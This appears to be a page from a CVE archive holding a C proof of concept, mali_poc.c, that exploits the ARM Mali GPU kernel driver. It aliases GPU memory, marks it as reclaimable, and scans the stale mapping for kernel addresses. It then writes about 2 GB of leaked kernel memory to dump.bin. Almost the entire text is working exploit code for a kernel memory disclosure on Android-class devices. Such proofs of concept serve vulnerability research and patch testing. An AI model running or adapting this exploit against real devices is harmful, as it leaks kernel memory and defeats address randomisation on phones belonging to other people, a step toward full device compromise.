4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / mali_poc.c C
#include <stdio.h>
#include <errno.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <time.h>
#include <sys/mman.h>
#include <sys/epoll.h>
#include <sys/prctl.h>
#include <byteswap.h>

#include "mali.h"

#define PAGE_SHIFT  12

#define ALLOC_SIZE  0xa0000000
#define WRITE_MAX   0x7ffff000

int main(){

	fflush(stdin);
	fflush(stdout);

	struct kbase_ioctl_version_check data;
	
	data.major = 999;
	data.minor = 999;
	
	int fd = open("/dev/mali0", O_RDWR);

	if (fd == -1) {
		perror("Open mali0");
		return -1;
	}

	if(ioctl(fd, KBASE_IOCTL_VERSION_CHECK, &data) < 0){
		perror("ioctl <KBASE_IOCTL_VERSION_CHECK> failed and returned");
		return -1;
	}

	printf("Version major,minor = %d,%d\n", data.major, data.minor);

	struct kbase_ioctl_set_flags flags;

	flags.create_flags = BASEP_CONTEXT_CREATE_KERNEL_FLAGS;

	if(ioctl(fd, KBASE_IOCTL_SET_FLAGS, &flags) < 0){

		perror("ioctl <KBASE_IOCTL_SET_FLAGS> failed and returned");
		return -1;
	}

	void *mem_area = mmap(NULL, ALLOC_SIZE, PROT_READ | PROT_WRITE, 
						  MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE );
	if(mem_area == MAP_FAILED){
		perror("mmap failed : ");
		return -1;
	}
	union kbase_ioctl_mem_alloc mem_alloc;

	mem_alloc.in.va_pages =	 ALLOC_SIZE >> PAGE_SHIFT;
	mem_alloc.in.commit_pages = ALLOC_SIZE >> PAGE_SHIFT;
	mem_alloc.in.flags =	BASE_MEM_SAME_VA | BASE_MEM_PROT_CPU_RD | 
							BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | 
							BASE_MEM_PROT_GPU_WR;

	if(ioctl(fd, KBASE_IOCTL_MEM_ALLOC, &mem_alloc) < 0){
		perror("ioctl <KBASE_IOCTL_MEM_ALLOC> failed and returned");
		return -1;
	}

	void *gpu_va = mmap(NULL, ALLOC_SIZE, PROT_READ | PROT_WRITE,
			MAP_SHARED, fd, mem_alloc.out.gpu_va);

	if(gpu_va == MAP_FAILED){
		perror("GPU_VA mmap failed: ");
		return -1;
	}

	printf("GPU_VA is : 0x%llx\n", (unsigned long long)gpu_va);

	union kbase_ioctl_mem_alias mem_alias;

	mem_alias.in.nents = 1;
	mem_alias.in.stride = ALLOC_SIZE >> PAGE_SHIFT;
	mem_alias.in.flags = BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_GPU_WR 
						| BASE_MEM_PROT_CPU_RD;

	struct base_mem_aliasing_info aliasing_info;
	aliasing_info.handle.basep.handle = (__u64)gpu_va;
	aliasing_info.offset = 0x0;
	aliasing_info.length = ALLOC_SIZE >> PAGE_SHIFT;

	mem_alias.in.aliasing_info = (__u64)&aliasing_info;

	if(ioctl(fd, KBASE_IOCTL_MEM_ALIAS, &mem_alias) < 0){
		perror("ioctl <KBASE_IOCTL_MEM_ALIAS> failed and returned");
		return -1;
	}
	
	struct kbase_ioctl_mem_flags_change flags_change;

	flags_change.gpu_va = (__u64)gpu_va;
	flags_change.mask = BASE_MEM_FLAGS_MODIFIABLE | BASE_MEM_DONT_NEED;
	flags_change.flags = BASE_MEM_FLAGS_MODIFIABLE | BASE_MEM_DONT_NEED; 

	if(ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &flags_change) < 0){
		perror("ioctl <KBASE_IOCTL_MEM_FLAGS_CHANGE> failed and returned");
		return -1;
	}
	
	printf("flags_change is successful.\n");

	void *alias_va = mmap(0, ALLOC_SIZE, PROT_READ,
			MAP_SHARED, fd, mem_alias.out.gpu_va);

	if(alias_va == MAP_FAILED){
		perror("ALIAS_VA mmap failed: ");
		return -1;
	}

	printf("ALIAS_VA is : 0x%llx\n", (unsigned long long)alias_va);

	// Just do some operations...
	int stat = open("/proc/self/stat", O_RDONLY);

	void *dummy = mmap(NULL, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
	if(dummy == MAP_FAILED){
		perror("dummy mmap ");
		return -1;
	}

	memset(dummy, 0x41, 0x4000);

	int fds[2];
	pipe(fds);

	int binder_fds[100];

	for(int i=0; i<100; i++)
		binder_fds[i] = open("/dev/binder", O_RDWR);

	printf("Looking for leaks...\n");

	int vulnerable = 0;
	int found = 0;

	size_t iterate = ALLOC_SIZE/8;
	for(size_t i=0; i<iterate; i++){
		if((*(unsigned long *)(alias_va + i*8) & 0xffffff8000000000) == 0xffffff8000000000){
			printf("Found possible kernel addr : 0x%lx\n", *(unsigned long *)(alias_va + i*8) );
			vulnerable = 1;
			found += 1;
		}

		if(found == 50)
			break;
	} 

	int dump_fd; 
	if((dump_fd = creat("./dump.bin", S_IRUSR | S_IWUSR)) < 0){
		perror("Open dump.bin file");
		return -1;
	}

	write(dump_fd, alias_va, WRITE_MAX);

	if(vulnerable){
		printf("Found leaks. Also you can check 'dump.bin' file for more leaks.\n");
	} else {
		printf("Couldn't find any kernel leak, might check 'dump.bin' file.\n");
	}

	return 0;
}